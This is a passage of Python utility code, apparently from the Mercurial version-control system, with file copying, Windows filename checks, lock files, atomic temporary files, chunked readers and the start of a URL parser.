                              env=env, cwd=cwd)
     else:
         proc = subprocess.Popen(cmd, shell=True, close_fds=closefds,
                                 env=env, cwd=cwd, stdout=subprocess.PIPE,
                                 stderr=subprocess.STDOUT)
         for line in iter(proc.stdout.readline, ''):
             out.write(line)
         proc.wait()
         rc = proc.returncode
     if pycompat.sysplatform == 'OpenVMS' and rc & 1:
         rc = 0
     return rc
 
 def checksignature(func):
     '''wrap a function with code to check for calling errors'''
     def check(*args, **kwargs):
         try:
             return func(*args, **kwargs)
         except TypeError:
             if len(traceback.extract_tb(sys.exc_info()[2])) == 1:
                 raise error.SignatureError
             raise
 
     return check
 
 # a whilelist of known filesystems where hardlink works reliably
 _hardlinkfswhitelist = {
     'btrfs',
     'ext2',
     'ext3',
     'ext4',
     'hfs',
     'jfs',
     'NTFS',
     'reiserfs',
     'tmpfs',
     'ufs',
     'xfs',
     'zfs',
 }
 
 def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False):
     '''copy a file, preserving mode and optionally other stat info like
     atime/mtime
 
     checkambig argument is used with filestat, and is useful only if
     destination file is guarded by any lock (e.g. repo.lock or
     repo.wlock).
 
     copystat and checkambig should be exclusive.
     '''
     assert not (copystat and checkambig)
     oldstat = None
     if os.path.lexists(dest):
         if checkambig:
             oldstat = checkambig and filestat.frompath(dest)
         unlink(dest)
     if hardlink:
         # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks
         # unless we are confident that dest is on a whitelisted filesystem.
         try:
             fstype = getfstype(os.path.dirname(dest))
         except OSError:
             fstype = None
         if fstype not in _hardlinkfswhitelist:
             hardlink = False
     if hardlink:
         try:
             oslink(src, dest)
             return
         except (IOError, OSError):
             pass # fall back to normal copy
     if os.path.islink(src):
         os.symlink(os.readlink(src), dest)
         # copytime is ignored for symlinks, but in general copytime isn't needed
         # for them anyway
     else:
         try:
             shutil.copyfile(src, dest)
             if copystat:
                 # copystat also copies mode
                 shutil.copystat(src, dest)
             else:
                 shutil.copymode(src, dest)
                 if oldstat and oldstat.stat:
                     newstat = filestat.frompath(dest)
                     if newstat.isambig(oldstat):
                         # stat of copied file is ambiguous to original one
                         advanced = (
                             oldstat.stat[stat.ST_MTIME] + 1) & 0x7fffffff
                         os.utime(dest, (advanced, advanced))
         except shutil.Error as inst:
             raise Abort(str(inst))
 
 def copyfiles(src, dst, hardlink=None, progress=lambda t, pos: None):
     """Copy a directory tree using hardlinks if possible."""
     num = 0
 
     gettopic = lambda: hardlink and _('linking') or _('copying')
 
     if os.path.isdir(src):
         if hardlink is None:
             hardlink = (os.stat(src).st_dev ==
                         os.stat(os.path.dirname(dst)).st_dev)
         topic = gettopic()
         os.mkdir(dst)
         for name, kind in listdir(src):
             srcname = os.path.join(src, name)
             dstname = os.path.join(dst, name)
             def nprog(t, pos):
                 if pos is not None:
                     return progress(t, pos + num)
             hardlink, n = copyfiles(srcname, dstname, hardlink, progress=nprog)
             num += n
     else:
         if hardlink is None:
             hardlink = (os.stat(os.path.dirname(src)).st_dev ==
                         os.stat(os.path.dirname(dst)).st_dev)
         topic = gettopic()
 
         if hardlink:
             try:
                 oslink(src, dst)
             except (IOError, OSError):
                 hardlink = False
                 shutil.copy(src, dst)
         else:
             shutil.copy(src, dst)
         num += 1
         progress(topic, num)
     progress(topic, None)
 
     return hardlink, num
 
 _winreservednames = {
     'con', 'prn', 'aux', 'nul',
     'com1', 'com2', 'com3', 'com4', 'com5', 'com6', 'com7', 'com8', 'com9',
     'lpt1', 'lpt2', 'lpt3', 'lpt4', 'lpt5', 'lpt6', 'lpt7', 'lpt8', 'lpt9',
 }
 _winreservedchars = ':*?"<>|'
 def checkwinfilename(path):
     r'''Check that the base-relative path is a valid filename on Windows.
     Returns None if the path is ok, or a UI string describing the problem.
 
     >>> checkwinfilename(b"just/a/normal/path")
     >>> checkwinfilename(b"foo/bar/con.xml")
     "filename contains 'con', which is reserved on Windows"
     >>> checkwinfilename(b"foo/con.xml/bar")
     "filename contains 'con', which is reserved on Windows"
     >>> checkwinfilename(b"foo/bar/xml.con")
     >>> checkwinfilename(b"foo/bar/AUX/bla.txt")
     "filename contains 'AUX', which is reserved on Windows"
     >>> checkwinfilename(b"foo/bar/bla:.txt")
     "filename contains ':', which is reserved on Windows"
     >>> checkwinfilename(b"foo/bar/b\07la.txt")
     "filename contains '\\x07', which is invalid on Windows"
     >>> checkwinfilename(b"foo/bar/bla ")
     "filename ends with ' ', which is not allowed on Windows"
     >>> checkwinfilename(b"../bar")
     >>> checkwinfilename(b"foo\\")
     "filename ends with '\\', which is invalid on Windows"
     >>> checkwinfilename(b"foo\\/bar")
     "directory name ends with '\\', which is invalid on Windows"
     '''
     if path.endswith('\\'):
         return _("filename ends with '\\', which is invalid on Windows")
     if '\\/' in path:
         return _("directory name ends with '\\', which is invalid on Windows")
     for n in path.replace('\\', '/').split('/'):
         if not n:
             continue
         for c in _filenamebytestr(n):
             if c in _winreservedchars:
                 return _("filename contains '%s', which is reserved "
                          "on Windows") % c
             if ord(c) <= 31:
                 return _("filename contains '%s', which is invalid "
                          "on Windows") % stringutil.escapestr(c)
         base = n.split('.')[0]
         if base and base.lower() in _winreservednames:
             return _("filename contains '%s', which is reserved "
                      "on Windows") % base
         t = n[-1:]
         if t in '. ' and n not in '..':
             return _("filename ends with '%s', which is not allowed "
                      "on Windows") % t
 
 if pycompat.iswindows:
     checkosfilename = checkwinfilename
     timer = time.clock
 else:
     checkosfilename = platform.checkosfilename
     timer = time.time
 
 if safehasattr(time, "perf_counter"):
     timer = time.perf_counter
 
 def makelock(info, pathname):
     """Create a lock file atomically if possible
 
     This may leave a stale lock file if symlink isn't supported and signal
     interrupt is enabled.
     """
     try:
         return os.symlink(info, pathname)
     except OSError as why:
         if why.errno == errno.EEXIST:
             raise
     except AttributeError: # no symlink in os
         pass
 
     flags = os.O_CREAT | os.O_WRONLY | os.O_EXCL | getattr(os, 'O_BINARY', 0)
     ld = os.open(pathname, flags)
     os.write(ld, info)
     os.close(ld)
 
 def readlock(pathname):
     try:
         return os.readlink(pathname)
     except OSError as why:
         if why.errno not in (errno.EINVAL, errno.ENOSYS):
             raise
     except AttributeError: # no symlink in os
         pass
     fp = posixfile(pathname, 'rb')
     r = fp.read()
     fp.close()
     return r
 
 def fstat(fp):
     '''stat file object that may not have fileno method.'''
     try:
         return os.fstat(fp.fileno())
     except AttributeError:
         return os.stat(fp.name)
 
 # File system features
 
 def fscasesensitive(path):
     """
     Return true if the given path is on a case-sensitive filesystem
 
     Requires a path (like /foo/.hg) ending with a foldable final
     directory component.
     """
     s1 = os.lstat(path)
     d, b = os.path.split(path)
     b2 = b.upper()
     if b == b2:
         b2 = b.lower()
         if b == b2:
             return True # no evidence against case sensitivity
     p2 = os.path.join(d, b2)
     try:
         s2 = os.lstat(p2)
         if s2 == s1:
             return False
         return True
     except OSError:
         return True
 
 try:
     import re2
     _re2 = None
 except ImportError:
     _re2 = False
 
 class _re(object):
     def _checkre2(self):
         global _re2
         try:
             # check if match works, see issue3964
             _re2 = bool(re2.match(r'\[([^\[]+)\]', '[ui]'))
         except ImportError:
             _re2 = False
 
     def compile(self, pat, flags=0):
         '''Compile a regular expression, using re2 if possible
 
         For best performance, use only re2-compatible regexp features. The
         only flags from the re module that are re2-compatible are
         IGNORECASE and MULTILINE.'''
         if _re2 is None:
             self._checkre2()
         if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0:
             if flags & remod.IGNORECASE:
                 pat = '(?i)' + pat
             if flags & remod.MULTILINE:
                 pat = '(?m)' + pat
             try:
                 return re2.compile(pat)
             except re2.error:
                 pass
         return remod.compile(pat, flags)
 
     @propertycache
     def escape(self):
         '''Return the version of escape corresponding to self.compile.
 
         This is imperfect because whether re2 or re is used for a particular
         function depends on the flags, etc, but it's the best we can do.
         '''
         global _re2
         if _re2 is None:
             self._checkre2()
         if _re2:
             return re2.escape
         else:
             return remod.escape
 
 re = _re()
 
 _fspathcache = {}
 def fspath(name, root):
     '''Get name in the case stored in the filesystem
 
     The name should be relative to root, and be normcase-ed for efficiency.
 
     Note that this function is unnecessary, and should not be
     called, for case-sensitive filesystems (simply because it's expensive).
 
     The root should be normcase-ed, too.
     '''
     def _makefspathcacheentry(dir):
         return dict((normcase(n), n) for n in os.listdir(dir))
 
     seps = pycompat.ossep
     if pycompat.osaltsep:
         seps = seps + pycompat.osaltsep
     # Protect backslashes. This gets silly very quickly.
     seps.replace('\\','\\\\')
     pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps))
     dir = os.path.normpath(root)
     result = []
     for part, sep in pattern.findall(name):
         if sep:
             result.append(sep)
             continue
 
         if dir not in _fspathcache:
             _fspathcache[dir] = _makefspathcacheentry(dir)
         contents = _fspathcache[dir]
 
         found = contents.get(part)
         if not found:
             # retry "once per directory" per "dirstate.walk" which
             # may take place for each patches of "hg qpush", for example
             _fspathcache[dir] = contents = _makefspathcacheentry(dir)
             found = contents.get(part)
 
         result.append(found or part)
         dir = os.path.join(dir, part)
 
     return ''.join(result)
 
 def checknlink(testfile):
     '''check whether hardlink count reporting works properly'''
 
     # testfile may be open, so we need a separate file for checking to
     # work around issue2543 (or testfile may get lost on Samba shares)
     f1, f2, fp = None, None, None
     try:
         fd, f1 = tempfile.mkstemp(prefix='.%s-' % os.path.basename(testfile),
                                   suffix='1~', dir=os.path.dirname(testfile))
         os.close(fd)
         f2 = '%s2~' % f1[:-2]
 
         oslink(f1, f2)
         # nlinks() may behave differently for files on Windows shares if
         # the file is open.
         fp = posixfile(f2)
         return nlinks(f2) > 1
     except OSError:
         return False
     finally:
         if fp is not None:
             fp.close()
         for f in (f1, f2):
             try:
                 if f is not None:
                     os.unlink(f)
             except OSError:
                 pass
 
 def endswithsep(path):
     '''Check path ends with os.sep or os.altsep.'''
     return (path.endswith(pycompat.ossep)
             or pycompat.osaltsep and path.endswith(pycompat.osaltsep))
 
 def splitpath(path):
     '''Split path by os.sep.
     Note that this function does not use os.altsep because this is
     an alternative of simple "xxx.split(os.sep)".
     It is recommended to use os.path.normpath() before using this
     function if need.'''
     return path.split(pycompat.ossep)
 
 def gui():
     '''Are we running in a GUI?'''
     if pycompat.isdarwin:
         if 'SSH_CONNECTION' in encoding.environ:
             # handle SSH access to a box where the user is logged in
             return False
         elif getattr(osutil, 'isgui', None):
             # check if a CoreGraphics session is available
             return osutil.isgui()
         else:
             # pure build; use a safe default
             return True
     else:
         return pycompat.iswindows or encoding.environ.get("DISPLAY")
 
 def mktempcopy(name, emptyok=False, createmode=None):
     """Create a temporary file with the same contents from name
 
     The permission bits are copied from the original file.
 
     If the temporary file is going to be truncated immediately, you
     can use emptyok=True as an optimization.
 
     Returns the name of the temporary file.
     """
     d, fn = os.path.split(name)
     fd, temp = tempfile.mkstemp(prefix='.%s-' % fn, suffix='~', dir=d)
     os.close(fd)
     # Temporary files are created with mode 0600, which is usually not
     # what we want.  If the original file already exists, just copy
     # its mode.  Otherwise, manually obey umask.
     copymode(name, temp, createmode)
     if emptyok:
         return temp
     try:
         try:
             ifp = posixfile(name, "rb")
         except IOError as inst:
             if inst.errno == errno.ENOENT:
                 return temp
             if not getattr(inst, 'filename', None):
                 inst.filename = name
             raise
         ofp = posixfile(temp, "wb")
         for chunk in filechunkiter(ifp):
             ofp.write(chunk)
         ifp.close()
         ofp.close()
     except: # re-raises
         try:
             os.unlink(temp)
         except OSError:
             pass
         raise
     return temp
 
 class filestat(object):
     """help to exactly detect change of a file
 
     'stat' attribute is result of 'os.stat()' if specified 'path'
     exists. Otherwise, it is None. This can avoid preparative
     'exists()' examination on client side of this class.
     """
     def __init__(self, stat):
         self.stat = stat
 
     @classmethod
     def frompath(cls, path):
         try:
             stat = os.stat(path)
         except OSError as err:
             if err.errno != errno.ENOENT:
                 raise
             stat = None
         return cls(stat)
 
     @classmethod
     def fromfp(cls, fp):
         stat = os.fstat(fp.fileno())
         return cls(stat)
 
     __hash__ = object.__hash__
 
     def __eq__(self, old):
         try:
             # if ambiguity between stat of new and old file is
             # avoided, comparison of size, ctime and mtime is enough
             # to exactly detect change of a file regardless of platform
             return (self.stat.st_size == old.stat.st_size and
                     self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME] and
                     self.stat[stat.ST_MTIME] == old.stat[stat.ST_MTIME])
         except AttributeError:
             pass
         try:
             return self.stat is None and old.stat is None
         except AttributeError:
             return False
 
     def isambig(self, old):
         """Examine whether new (= self) stat is ambiguous against old one
 
         "S[N]" below means stat of a file at N-th change:
 
         - S[n-1].ctime  < S[n].ctime: can detect change of a file
         - S[n-1].ctime == S[n].ctime
           - S[n-1].ctime  < S[n].mtime: means natural advancing (*1)
           - S[n-1].ctime == S[n].mtime: is ambiguous (*2)
           - S[n-1].ctime  > S[n].mtime: never occurs naturally (don't care)
         - S[n-1].ctime  > S[n].ctime: never occurs naturally (don't care)
 
         Case (*2) above means that a file was changed twice or more at
         same time in sec (= S[n-1].ctime), and comparison of timestamp
         is ambiguous.
 
         Base idea to avoid such ambiguity is "advance mtime 1 sec, if
         timestamp is ambiguous".
 
         But advancing mtime only in case (*2) doesn't work as
         expected, because naturally advanced S[n].mtime in case (*1)
         might be equal to manually advanced S[n-1 or earlier].mtime.
 
         Therefore, all "S[n-1].ctime == S[n].ctime" cases should be
         treated as ambiguous regardless of mtime, to avoid overlooking
         by confliction between such mtime.
 
         Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime !=
         S[n].mtime", even if size of a file isn't changed.
         """
         try:
             return (self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME])
         except AttributeError:
             return False
 
     def avoidambig(self, path, old):
         """Change file stat of specified path to avoid ambiguity
 
         'old' should be previous filestat of 'path'.
 
         This skips avoiding ambiguity, if a process doesn't have
         appropriate privileges for 'path'. This returns False in this
         case.
 
         Otherwise, this returns True, as "ambiguity is avoided".
         """
         advanced = (old.stat[stat.ST_MTIME] + 1) & 0x7fffffff
         try:
             os.utime(path, (advanced, advanced))
         except OSError as inst:
             if inst.errno == errno.EPERM:
                 # utime() on the file created by another user causes EPERM,
                 # if a process doesn't have appropriate privileges
                 return False
             raise
         return True
 
     def __ne__(self, other):
         return not self == other
 
 class atomictempfile(object):
     '''writable file object that atomically updates a file
 
     All writes will go to a temporary copy of the original file. Call
     close() when you are done writing, and atomictempfile will rename
     the temporary copy to the original name, making the changes
     visible. If the object is destroyed without being closed, all your
     writes are discarded.
 
     checkambig argument of constructor is used with filestat, and is
     useful only if target file is guarded by any lock (e.g. repo.lock
     or repo.wlock).
     '''
     def __init__(self, name, mode='w+b', createmode=None, checkambig=False):
         self.__name = name      # permanent name
         self._tempname = mktempcopy(name, emptyok=('w' in mode),
                                     createmode=createmode)
         self._fp = posixfile(self._tempname, mode)
         self._checkambig = checkambig
 
         # delegated methods
         self.read = self._fp.read
         self.write = self._fp.write
         self.seek = self._fp.seek
         self.tell = self._fp.tell
         self.fileno = self._fp.fileno
 
     def close(self):
         if not self._fp.closed:
             self._fp.close()
             filename = localpath(self.__name)
             oldstat = self._checkambig and filestat.frompath(filename)
             if oldstat and oldstat.stat:
                 rename(self._tempname, filename)
                 newstat = filestat.frompath(filename)
                 if newstat.isambig(oldstat):
                     # stat of changed file is ambiguous to original one
                     advanced = (oldstat.stat[stat.ST_MTIME] + 1) & 0x7fffffff
                     os.utime(filename, (advanced, advanced))
             else:
                 rename(self._tempname, filename)
 
     def discard(self):
         if not self._fp.closed:
             try:
                 os.unlink(self._tempname)
             except OSError:
                 pass
             self._fp.close()
 
     def __del__(self):
         if safehasattr(self, '_fp'): # constructor actually did something
             self.discard()
 
     def __enter__(self):
         return self
 
     def __exit__(self, exctype, excvalue, traceback):
         if exctype is not None:
             self.discard()
         else:
             self.close()
 
 def unlinkpath(f, ignoremissing=False):
     """unlink and remove the directory if it is empty"""
     if ignoremissing:
         tryunlink(f)
     else:
         unlink(f)
     # try removing directories that might now be empty
     try:
         removedirs(os.path.dirname(f))
     except OSError:
         pass
 
 def tryunlink(f):
     """Attempt to remove a file, ignoring ENOENT errors."""
     try:
         unlink(f)
     except OSError as e:
         if e.errno != errno.ENOENT:
             raise
 
 def makedirs(name, mode=None, notindexed=False):
     """recursive directory creation with parent mode inheritance
 
     Newly created directories are marked as "not to be indexed by
     the content indexing service", if ``notindexed`` is specified
     for "write" mode access.
     """
     try:
         makedir(name, notindexed)
     except OSError as err:
         if err.errno == errno.EEXIST:
             return
         if err.errno != errno.ENOENT or not name:
             raise
         parent = os.path.dirname(os.path.abspath(name))
         if parent == name:
             raise
         makedirs(parent, mode, notindexed)
         try:
             makedir(name, notindexed)
         except OSError as err:
             # Catch EEXIST to handle races
             if err.errno == errno.EEXIST:
                 return
             raise
     if mode is not None:
         os.chmod(name, mode)
 
 def readfile(path):
     with open(path, 'rb') as fp:
         return fp.read()
 
 def writefile(path, text):
     with open(path, 'wb') as fp:
         fp.write(text)
 
 def appendfile(path, text):
     with open(path, 'ab') as fp:
         fp.write(text)
 
 class chunkbuffer(object):
     """Allow arbitrary sized chunks of data to be efficiently read from an
     iterator over chunks of arbitrary size."""
 
     def __init__(self, in_iter):
         """in_iter is the iterator that's iterating over the input chunks."""
         def splitbig(chunks):
             for chunk in chunks:
                 if len(chunk) > 2**20:
                     pos = 0
                     while pos < len(chunk):
                         end = pos + 2 ** 18
                         yield chunk[pos:end]
                         pos = end
                 else:
                     yield chunk
         self.iter = splitbig(in_iter)
         self._queue = collections.deque()
         self._chunkoffset = 0
 
     def read(self, l=None):
         """Read L bytes of data from the iterator of chunks of data.
         Returns less than L bytes if the iterator runs dry.
 
         If size parameter is omitted, read everything"""
         if l is None:
             return ''.join(self.iter)
 
         left = l
         buf = []
         queue = self._queue
         while left > 0:
             # refill the queue
             if not queue:
                 target = 2**18
                 for chunk in self.iter:
                     queue.append(chunk)
                     target -= len(chunk)
                     if target <= 0:
                         break
                 if not queue:
                     break
 
             # The easy way to do this would be to queue.popleft(), modify the
             # chunk (if necessary), then queue.appendleft(). However, for cases
             # where we read partial chunk content, this incurs 2 dequeue
             # mutations and creates a new str for the remaining chunk in the
             # queue. Our code below avoids this overhead.
 
             chunk = queue[0]
             chunkl = len(chunk)
             offset = self._chunkoffset
 
             # Use full chunk.
             if offset == 0 and left >= chunkl:
                 left -= chunkl
                 queue.popleft()
                 buf.append(chunk)
                 # self._chunkoffset remains at 0.
                 continue
 
             chunkremaining = chunkl - offset
 
             # Use all of unconsumed part of chunk.
             if left >= chunkremaining:
                 left -= chunkremaining
                 queue.popleft()
                 # offset == 0 is enabled by block above, so this won't merely
                 # copy via ``chunk[0:]``.
                 buf.append(chunk[offset:])
                 self._chunkoffset = 0
 
             # Partial chunk needed.
             else:
                 buf.append(chunk[offset:offset + left])
                 self._chunkoffset += left
                 left -= chunkremaining
 
         return ''.join(buf)
 
 def filechunkiter(f, size=131072, limit=None):
     """Create a generator that produces the data in the file size
     (default 131072) bytes at a time, up to optional limit (default is
     to read all data).  Chunks may be less than size bytes if the
     chunk is the last chunk in the file, or the file is a socket or
     some other type of file that sometimes reads less data than is
     requested."""
     assert size >= 0
     assert limit is None or limit >= 0
     while True:
         if limit is None:
             nbytes = size
         else:
             nbytes = min(limit, size)
         s = nbytes and f.read(nbytes)
         if not s:
             break
         if limit:
             limit -= len(s)
         yield s
 
 class cappedreader(object):
     """A file object proxy that allows reading up to N bytes.
 
     Given a source file object, instances of this type allow reading up to
     N bytes from that source file object. Attempts to read past the allowed
     limit are treated as EOF.
 
     It is assumed that I/O is not performed on the original file object
     in addition to I/O that is performed by this instance. If there is,
     state tracking will get out of sync and unexpected results will ensue.
     """
     def __init__(self, fh, limit):
         """Allow reading up to <limit> bytes from <fh>."""
         self._fh = fh
         self._left = limit
 
     def read(self, n=-1):
         if not self._left:
             return b''
 
         if n < 0:
             n = self._left
 
         data = self._fh.read(min(n, self._left))
         self._left -= len(data)
         assert self._left >= 0
 
         return data
 
     def readinto(self, b):
         res = self.read(len(b))
         if res is None:
             return None
 
         b[0:len(res)] = res
         return len(res)
 
 def unitcountfn(*unittable):
     '''return a function that renders a readable count of some quantity'''
 
     def go(count):
         for multiplier, divisor, format in unittable:
             if abs(count) >= divisor * multiplier:
                 return format % (count / float(divisor))
         return unittable[-1][2] % count
 
     return go
 
 def processlinerange(fromline, toline):
     """Check that linerange <fromline>:<toline> makes sense and return a
     0-based range.
 
     >>> processlinerange(10, 20)
     (9, 20)
     >>> processlinerange(2, 1)
     Traceback (most recent call last):
         ...
     ParseError: line range must be positive
     >>> processlinerange(0, 5)
     Traceback (most recent call last):
         ...
     ParseError: fromline must be strictly positive
     """
     if toline - fromline < 0:
         raise error.ParseError(_("line range must be positive"))
     if fromline < 1:
         raise error.ParseError(_("fromline must be strictly positive"))
     return fromline - 1, toline
 
 bytecount = unitcountfn(
     (100, 1 << 30, _('%.0f GB')),
     (10, 1 << 30, _('%.1f GB')),
     (1, 1 << 30, _('%.2f GB')),
     (100, 1 << 20, _('%.0f MB')),
     (10, 1 << 20, _('%.1f MB')),
     (1, 1 << 20, _('%.2f MB')),
     (100, 1 << 10, _('%.0f KB')),
     (10, 1 << 10, _('%.1f KB')),
     (1, 1 << 10, _('%.2f KB')),
     (1, 1, _('%.0f bytes')),
     )
 
 class transformingwriter(object):
     """Writable file wrapper to transform data by function"""
 
     def __init__(self, fp, encode):
         self._fp = fp
         self._encode = encode
 
     def close(self):
         self._fp.close()
 
     def flush(self):
         self._fp.flush()
 
     def write(self, data):
         return self._fp.write(self._encode(data))
 
 # Matches a single EOL which can either be a CRLF where repeated CR
 # are removed or a LF. We do not care about old Macintosh files, so a
 # stray CR is an error.
 _eolre = remod.compile(br'\r*\n')
 
 def tolf(s):
     return _eolre.sub('\n', s)
 
 def tocrlf(s):
     return _eolre.sub('\r\n', s)
 
 def _crlfwriter(fp):
     return transformingwriter(fp, tocrlf)
 
 if pycompat.oslinesep == '\r\n':
     tonativeeol = tocrlf
     fromnativeeol = tolf
     nativeeolwriter = _crlfwriter
 else:
     tonativeeol = pycompat.identity
     fromnativeeol = pycompat.identity
     nativeeolwriter = pycompat.identity
 
 if (pyplatform.python_implementation() == 'CPython' and
     sys.version_info < (3, 0)):
     # There is an issue in CPython that some IO methods do not handle EINTR
     # correctly. The following table shows what CPython version (and functions)
     # are affected (buggy: has the EINTR bug, okay: otherwise):
     #
     #                | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0
     #   --------------------------------------------------
     #    fp.__iter__ | buggy   | buggy           | okay
     #    fp.read*    | buggy   | okay [1]        | okay
     #
     # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo.
     #
     # Here we workaround the EINTR issue for fileobj.__iter__. Other methods
     # like "read*" are ignored for now, as Python < 2.7.4 is a minority.
     #
     # Although we can workaround the EINTR issue for fp.__iter__, it is slower:
     # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in
     # CPython 2, because CPython 2 maintains an internal readahead buffer for
     # fp.__iter__ but not other fp.read* methods.
     #
     # On modern systems like Linux, the "read" syscall cannot be interrupted
     # when reading "fast" files like on-disk files. So the EINTR issue only
     # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG)
     # files approximately as "fast" files and use the fast (unsafe) code path,
     # to minimize the performance impact.
     if sys.version_info >= (2, 7, 4):
         # fp.readline deals with EINTR correctly, use it as a workaround.
         def _safeiterfile(fp):
             return iter(fp.readline, '')
     else:
         # fp.read* are broken too, manually deal with EINTR in a stupid way.
         # note: this may block longer than necessary because of bufsize.
         def _safeiterfile(fp, bufsize=4096):
             fd = fp.fileno()
             line = ''
             while True:
                 try:
                     buf = os.read(fd, bufsize)
                 except OSError as ex:
                     # os.read only raises EINTR before any data is read
                     if ex.errno == errno.EINTR:
                         continue
                     else:
                         raise
                 line += buf
                 if '\n' in buf:
                     splitted = line.splitlines(True)
                     line = ''
                     for l in splitted:
                         if l[-1] == '\n':
                             yield l
                         else:
                             line = l
                 if not buf:
                     break
             if line:
                 yield line
 
     def iterfile(fp):
         fastpath = True
         if type(fp) is file:
             fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode)
         if fastpath:
             return fp
         else:
             return _safeiterfile(fp)
 else:
     # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed.
     def iterfile(fp):
         return fp
 
 def iterlines(iterator):
     for chunk in iterator:
         for line in chunk.splitlines():
             yield line
 
 def expandpath(path):
     return os.path.expanduser(os.path.expandvars(path))
 
 def hgcmd():
     """Return the command used to execute current hg
 
     This is different from hgexecutable() because on Windows we want
     to avoid things opening new shell windows like batch files, so we
     get either the python call or current executable.
     """
     if mainfrozen():
         if getattr(sys, 'frozen', None) == 'macosx_app':
             # Env variable set by py2app
             return [encoding.environ['EXECUTABLEPATH']]
         else:
             return [pycompat.sysexecutable]
     return gethgcmd()
 
 def rundetached(args, condfn):
     """Execute the argument list in a detached process.
 
     condfn is a callable which is called repeatedly and should return
     True once the child process is known to have started successfully.
     At this point, the child process PID is returned. If the child
     process fails to start or finishes before condfn() evaluates to
     True, return -1.
     """
     # Windows case is easier because the child process is either
     # successfully starting and validating the condition or exiting
     # on failure. We just poll on its PID. On Unix, if the child
     # process fails to start, it will be left in a zombie state until
     # the parent wait on it, which we cannot do since we expect a long
     # running process on success. Instead we listen for SIGCHLD telling
     # us our child process terminated.
     terminated = set()
     def handler(signum, frame):
         terminated.add(os.wait())
     prevhandler = None
     SIGCHLD = getattr(signal, 'SIGCHLD', None)
     if SIGCHLD is not None:
         prevhandler = signal.signal(SIGCHLD, handler)
     try:
         pid = spawndetached(args)
         while not condfn():
             if ((pid in terminated or not testpid(pid))
                 and not condfn()):
                 return -1
             time.sleep(0.1)
         return pid
     finally:
         if prevhandler is not None:
             signal.signal(signal.SIGCHLD, prevhandler)
 
 def interpolate(prefix, mapping, s, fn=None, escape_prefix=False):
     """Return the result of interpolating items in the mapping into string s.
 
     prefix is a single character string, or a two character string with
     a backslash as the first character if the prefix needs to be escaped in
     a regular expression.
 
     fn is an optional function that will be applied to the replacement text
     just before replacement.
 
     escape_prefix is an optional flag that allows using doubled prefix for
     its escaping.
     """
     fn = fn or (lambda s: s)
     patterns = '|'.join(mapping.keys())
     if escape_prefix:
         patterns += '|' + prefix
         if len(prefix) > 1:
             prefix_char = prefix[1:]
         else:
             prefix_char = prefix
         mapping[prefix_char] = prefix_char
     r = remod.compile(br'%s(%s)' % (prefix, patterns))
     return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)
 
 def getport(port):
     """Return the port for a given network service.
 
     If port is an integer, it's returned as is. If it's a string, it's
     looked up using socket.getservbyname(). If there's no matching
     service, error.Abort is raised.
     """
     try:
         return int(port)
     except ValueError:
         pass
 
     try:
         return socket.getservbyname(pycompat.sysstr(port))
     except socket.error:
         raise Abort(_("no port number associated with service '%s'") % port)
 
 class url(object):
     r"""Reliable URL parser.
 
     This parses URLs and provides attributes for the following
     components:
 
     <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
 
     Missing components are set to None. The only exception is
     fragment, which is set to '' if present but empty.
 
     If parsefragment is False, fragment is included in query. If
     parsequery is False, query is included in path. If both are
     False, both fragment and query are included in path.
 
     See http://www.ietf.org/rfc/rfc2396.txt for more information.
 
     Note that for backward compatibility reasons, bundle URLs do not
     take host names. That means 'bundle://../' has a path of '../'.
 
     Examples:
 
     >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
     <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
     >>> url(b'ssh://[::1]:2200//home/joe/repo')
     <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
     >>> url(b'file:///home/joe/repo')
     <url scheme: 'file', path: '/home/joe/repo'>
     >>> url(b'file:///c:/temp/foo/')
     <url scheme: 'file', path: 'c:/temp/foo/'>
     >>> url(b'bundle:foo')
     <url scheme: 'bundle', path: 'foo'>
     >>> url(b'bundle://../foo')
     <url scheme: 'bundle', path: '../foo'>
     >>> url(br'c:\foo\bar')
     <url path: 'c:\\foo\\bar'>
     >>> url(br'\\blah\blah\blah')
     <url path: '\\\\blah\\blah\\blah'>
     >>> url(br'\\blah\blah\blah#baz')
     <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
     >>> url(br'file:///C:\users\me')
     <url scheme: 'file', path: 'C:\\users\\me'>
 
     Authentication credentials:
 
     >>> url(b'ssh://joe:xyz@x/repo')
     <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
     >>> url(b'ssh://joe@x/repo')
     <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
 
     Query strings and fragments:
 
     >>> url(b'http://host/a?b#c')
     <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
     >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
     <url scheme: 'http', host: 'host', path: 'a?b#c'>
 
     Empty path:
 
     >>> url(b'')
     <url path: ''>
     >>> url(b'#a')
     <url path: '', fragment: 'a'>
     >>> url(b'http://host/')
     <url scheme: 'http', host: 'host', path: ''>
     >>> url(b'http://host/#a')
     <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
 
     Only scheme:
 
     >>> url(b'http:')
     <url scheme: 'http'>
     """
 
     _safechars = "!~*'()+"
     _safepchars = "/!~*'()+:\\"
     _matchscheme = remod.compile('^[a-zA-Z0-9+.\\-]+:').match
 
     def __init__(self, path, parsequery=True, parsefragment=True):
         # We slowly chomp away at path until we have only the path left
         self.scheme = self.user = self.passwd = self.host = None
         self.port = self.path = self.query = self.fragment = None
         self._localpath = True
         self._hostport = ''
         self._origpath = path
 
         if parsefragment and '#' in path:
             path, self.fragment = path.split('#', 1)
 
         # special case for Windows drive letters and UNC paths
